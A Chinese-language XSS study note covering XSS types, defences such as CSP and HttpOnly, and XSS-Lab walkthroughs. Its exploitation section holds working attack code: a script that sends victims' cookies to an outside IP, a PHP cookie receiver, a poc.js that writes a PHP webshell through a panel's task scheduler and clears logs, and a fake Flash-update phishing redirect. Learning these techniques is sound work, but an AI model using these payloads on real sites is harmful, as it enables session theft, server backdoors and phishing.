xss

1.概况

漏洞原理:接受输入数据,输出显示数据后解析执行

基础类型:反射(非持续),存储(持续),DOM-BASE

拓展类型:jquery,mxss,uxss,pdfxss,flashxss,上传xss等

常用标签:https://www.freebuf.com/articles/web/340080.html

攻击利用:盲打,COOKIE盗取,凭据窃取,页面劫持,网络钓鱼,权限维持等

安全修复:字符过滤,实例化编码,http_only,CSP防护,WAF拦截等

测试流程:看输出想输入在哪里,更改输入代码看执行(标签,过滤决定)

js代码能做什么,XSS就能做什么攻击

盲打(不知道哪些地方存在XSS,直接能插XSS的地方都插入试试),COOKIE盗取,凭据窃取,页面劫持,网络钓鱼,权限维持等

2.分类测试

数据交互的地方:

  • get、post、headers
  • 反馈与浏览
  • 富文本编辑器
  • 各类标签插入和自定义

数据输出的地方:

  • 用户资料
  • 数据输出
  • 评论,留言等
  • 关键词、标签、说明
  • 文件上传

反射型XSS

常见情况是攻击者通过构造一个恶意链接的形式,诱导用户传播和打开,

由于链接内所携带的参数会回显于页面中或作为页面的处理数据源,最终造成XSS攻击

存储型XSS

存储型XSS是持久化的XSS攻击方式,将恶意代码存储于服务器端,

当其他用户再次访问页面时触发,造成XSS攻击。

留言板演示

小皮面板操作日志演示

DOM-base型XSS:(某案例测试)

Dom型:DOM漏洞存在JS代码(由JS代码直接处理,不需要经过服务端处理),其他类型漏洞存在脚本代码(反射,存储,都需要经过服务端处理)

如果要挖DOM型漏洞,一定要查看网页源代码并在HTML代码中找到相关js代码

通过修改原始的客户端代码,受害者浏览器的DOM环境改变,导致有效载荷的执行。
页面本身没有变化,但由于DOM环境被恶意修改,有客户端代码被包含进了页面并执行。

3.几种特殊的xss

MXSS

简单来说,MXSS是放在浏览器上是没有伤害的payload(浏览器进行了过滤),然后把这个浏览器信息通过用户端发给QQ用户(QQ聊天窗口会有个预览功能,会把这个payload从新恢复,从而形成跨站),在绿色的网站(www.baidu.com等)就可以直接显示绿标,从而执行了MXSS代码。
这种漏洞是产生在浏览器的漏洞,并不是在网上的漏洞。所以比较难被挖掘。而且这个QQ还要符合版本,现在基本上不能安装这个版本了。所以这个漏洞基本上没有什么大的作用。
#UXSS全称Universal Cross-Site Scripting

UXSS:Universal Cross-Site Scripting
针对浏览器的漏洞,几乎见不到

UXSS是利用浏览器或者浏览器扩展漏洞来制造产生XSS并执行代码的一种攻击类型。

MICROSOFT EDGE uXSS CVE-2021-34506(有浏览器版本限制)

Edge浏览器翻译功能导致JS语句被调用执行(网站提前插入XSS代码,本身无害化,但是经过该浏览器翻译功能一翻译,就会触发这个XSS代码)。

SVG-XSS

SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。

通过文件上传功能上传一个SVG文件(该文件已经提前植入XSS代码),然后再访问这个上传后的svg地址即可触发上图效果

PDF-XSS

PDF,加入动作JS

Python生成XSS

首先需要安装Python中相应的模块,执行下面命令进行安装。

pip install PyPDF2

利用python创建一个含有XSS的PDF文件。

from PyPDF2 import PdfReader, PdfWriter
# 创建一个新的 PDF 文档
output_pdf = PdfWriter()
# 添加一个新页面
page = output_pdf.add_blank_page(width=72, height=72)
# 添加js代码
output_pdf.add_js("app.alert('123');")
# 将新页面写入到新 PDF 文档中
with open("xss.pdf", "wb") as f:
    output_pdf.write(f)

使用python3运行这个python文件即可在当前目录下生成一个XSS.pdf文件,用浏览器打开这个pdf即可触发js代码

和正常PDF绑定

from PyPDF2 import PdfReader, PdfWriter
# 打开原始 22.PDF 文件
input_pdf = PdfReader("22.pdf")
# 创建一个新的 PDF 文档
output_pdf = PdfWriter()
# 将现有的 PDF 页面复制到新文档
for i in range(len(input_pdf.pages)):
    output_pdf.add_page(input_pdf.pages[i])
# 添加 javaScript 代码
output_pdf.add_js("app.alert('123');")
# 将新 PDF 文档写入到文件中
with open("xssplus.pdf", "wb") as f:
    output_pdf.write(f)

提前准备好一个22.pdf文件,与当前py脚本放在同一个目录下,运行该py脚本即可在当前目录下生成一个xssplus.pdf

Flash-XSS

新建swf文件(SWF文件是Flash动画文件格式)

触发:?m=alert(/xss/)

也可以反编译swf文件分析触发点,但是flash已经淘汰了,不多研究

4.攻击利用

凭据盗取

条件:无防护Cookie凭据获取

利用:XSS平台或手写接受代码

xss平台

当用户申请提现时,管理员后台是能看到一些申请体现信息,这时候就会产生XSS漏洞

进行xss攻击

当管理员查看申请就会触发

攻击平台接收管理员的url和cookie

成功进入后台

手写代码:

<?php
$url=$_GET['u'];
$cookie=$_GET['c'];
$fp =fopen('cookie.txt',"a");
fwrite($fp,$url."|".$cookie."\n");
fclose($fp);
?>

可以使用上面自己写脚本代码让网站xss远程连接你的服务器获取管理员cookie

也可以使用网上免费的beef网站获取到cookie

<script>var url='http://47.94.236.117/getcookie.php?u='+window.location.href+'&c='+document.cookie;document.write("<img src="+url+" />");</script>

数据提交

如果获取不到cookie

1.模拟自己在后台创建一个文件或者进行计划任务的添加实现执行任务,写入一个文件到网站目录下面去放入后门代码

2.攻击条件:熟悉对方后台业务功能数据包,拿到对方的cookie或者cookie拿到之后做不了其他事情,

可以在本地搭建一个类似的后台系统抓到后台的数据包,在通过js代码把后门程序写入到网站目录下

payload

<script src="http://xx.xxx.xxx/poc.js"></script>

poc.js //要放在外网服务器WEB目录下,这个代码专门针对小皮面板写的

function poc(){js
  $.get('/service/app/tasks.php?type=task_list',{},function(data){
    var id=data.data[0].ID;
    $.post('/service/app/tasks.php?type=exec_task',{
      tid:id
    },function(res2){
        $.post('/service/app/log.php?type=clearlog',{
            
        },function(res3){},"json");
        
      
    },"json");
  },"json");
}
function save(){
  var data=new Object();
  data.task_id="";
  data.title="test";
  data.exec_cycle="1";
  data.week="1";
  data.day="3";
  data.hour="14";
  data.minute = "20";
  data.shell='echo "<?php @eval($_POST[123]);?>" >C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
  $.post('/service/app/tasks.php?type=save_shell',data,function(res){
    poc();
  },'json');
}
save();

管理员登陆后查看日志触发

flash钓鱼

点击立即下载后,就会下载木马文件

植入XSS代码等待受害者触发

<script>alert('当前浏览器Flash版本过低,请下载升级!');location.href='http://x.x.x.x/flash'</script>

点击确定就会跳转钓鱼网页

溯源综合

XSS数据平台-XSSReceiver(这是给个人搭建的XSS平台,不想使用网上的XSS平台可以用这个项目)

简单配置即可使用,无需数据库,无需其他组件支持
项目地址:https://github.com/epoch99/BlueLotus_XSSReceiver-master
搭建非常简单,下载源码下来放入phpstudy目录下访问安装即可

浏览器控制框架-beef-xss

只需执行JS文件,即可实现对当前浏览器的控制,可配合各类手法利用
缺点:如果对方浏览器关闭,权限就会掉
搭建:docker run --rm -p 3000:3000 janes/beef //安装命令

5.安全防御

CSP

CSP (Content Security Policy 内容安全策略)  各种语言都存在,只不过设置不同
内容安全策略是一种可信白名单机制,来限制网站中是否可以包含某来源内容。
该制度明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单(当外部资源不在白名单内,禁止网站访问外部资源),
它的实现和执行全部由浏览器完成,开发者只需提供配置。
禁止加载外域代码,防止复杂的攻击逻辑。
禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
合理使用上报可以及时发现XSS,利于尽快修复问题。

实验:开启CSP时XSS的加载情况

尝试发送cookie失败

XSS平台也不会接收到相关cookie信息

未开启CSP时XSS的加载情况(跟常规一样,直接获取cookie)

绕过:有但鸡肋
https://xz.aliyun.com/t/12370
https://blog.csdn.net/a1766855068/article/details/89370320

HttpOnly

禁止页面的JavaScript访问带有HttpOnly属性的Cookie。
PHP.INI设置或代码引用

-session.cookie_httponly =1

-ini_set("session.cookie_httponly", 1);

-setcookie('', '', time() + 3600, '/xss', '', false, true);

实验:开启HttpOnly时XSS窃取Cookie的加载情况

两个都开启,测试平台

不开启就正常获取了

绕过:有但鸡肋
(1) CVE-2012-0053
(2) PHPINFO页面/
(3) Flash/Java
https://blog.csdn.net/weixin_42478365/article/details/116597222
思路:不获取Cookie采用方式(钓鱼,浏览器攻击框架等)

XSSFilter(过滤器的意思)

检查用户输入的数据中是否包含特殊字符, 如<、>、’、”,进行实体化等。

实验:手工分析&工具分析

Xss-Lab 标签及常见过滤绕过

环境下载:https://github.com/Re13orn/xss-lab
常用标签:https://www.freebuf.com/articles/web/340080.html
https://xz.aliyun.com/t/4067

工具下载项目:https://github.com/s0md3v/XSStrike
工具使用参考地址:https://blog.csdn.net/weixin_50464560/article/details/120384706

xsslab靶场练习

1、无任何过滤

<script>alert()</script>

2.实体化输入框无过滤,考虑闭合即可

">  <script>alert()</script>  <" 

3、全部实体化 利用标签事件 单引号闭合

' οnfοcus=javascript:alert() '

<>被实体化了,同时使input标签,考虑找该标签下的触发事件

第四关只是闭合方式不同

" οnfοcus=javascript:alert() "

5、事件关键字过滤 利用其他标签调用 双引号闭合

"> <a href=javascript:alert()>xxx</a> <"

经过测试发现script和on被过滤了,用a标签成功

代码

6.利用大小写未正则匹配

"> <sCript>alert()</sCript> <"

代码

7.双写绕过

"> <a hrehreff=javasscriptcript:alert()>x</a> <"

8.利用Unicode编码

&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0029

编码后可绕过

9.内容检测

&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0029;('http://')

也可以/*http://*/

level 10

查看源代码后发现有三个参数,一个个试

过滤掉了<>号,不能闭合插入标签,所以用onfocus事件,因为这里输入框被隐藏了,需要添加type="text",构造payload

添加type="text"

  • hidden元素无法接收焦点

  • autofocus在hidden元素上无效

?t_sort=" onfocus=javascript:alert() type="text

前端闭合情况

11.refer

<input>标签有四个值,都做了隐藏处理,

不难看出,第四个名为t_ref的<input>标签是http头referer的参数,四个都测试了一遍没什么用,ref参数在hackbar上试验了一下就过了

12.同理这题肯定是ua头了

13.这关是cookie

14.这关跳转的网站倒闭了,这关主要涉及的漏洞是exif xss漏洞。exif是可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。可以给图片属性添加代码语句实现xss,了解即可

15.本关对“,<>实体转义,,但是有ng-include,可以包含别的关卡,本关的过滤只影响自己的输出,无法影响其他关的执行。同时注意不能包涵那些直接弹窗的东西如<script>,比如?src='level1.php?name=<script>alert()</script>',但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的,构造正确的payload:

?src='level1.php?name=<img src=XXX onmouseover=alert()>'

16.观察后发现无需考虑闭合

这关先是将字母小写化了,再把script和/替换成空格,最后将空格给实体化

空格可以用回车来代替绕过,回车的url编码是%0a,再配合上不用/的<img>、<details>、<svg>等标签

?keyword=<img%0Dsrc=x%0Donerror="alert(1)">

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐